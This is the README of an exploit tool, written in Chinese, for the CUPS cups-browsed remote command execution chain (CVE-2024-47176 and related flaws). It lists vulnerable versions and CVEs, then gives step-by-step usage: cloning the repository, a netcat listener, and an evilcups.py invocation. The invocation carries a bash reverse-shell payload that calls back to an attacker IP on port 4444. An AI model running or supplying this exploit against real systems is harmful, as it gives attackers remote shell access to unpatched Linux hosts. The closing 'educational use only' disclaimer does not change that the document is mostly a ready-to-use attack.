通过构造一个恶意 UDP 数据包,触发 Get-Printer-Attributes IPP 请求,攻击者可以让 cups-browsed 连接到攻击者控制的服务器——当与以下漏洞结合时,可达成 任意远程命令执行。
| 组件 | 条件 |
|---|---|
cups-browsed | 默认监听 UDP 631 |
| CUPS < 2.4.11 | 未修补版本 |
| 暴露 CUPS 的 Linux 系统 | 攻击者可访问端口 631 |
| CVE | 描述 |
|---|---|
| CVE-2024-47176 | cups-browsed 信任端口 631 上的任何 UDP 数据包 |
| CVE-2024-47076 | libcupsfilters 不清理 IPP 属性 |
| CVE-2024-47175 | libppd 将未清理的数据注入 PPD 文件 |
| CVE-2024-47177 | cups-filters 允许通过 PPD 执行命令 |
nmap(可选,用于侦察)1. 克隆仓库:
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
2. 安装所需的 Python 依赖:
pip install ippserver
3. 在您的机器上启动监听器:
nc -lvnp <PORT>
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"
示例 — 反弹 Shell:
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
运行利用程序后,在目标上触发一个打印任务(或等待自动检查)以执行载荷。
本仓库仅用于教育目的和授权安全研究。将此工具用于测试您不拥有或未经明确书面许可的系统是违法且不道德的。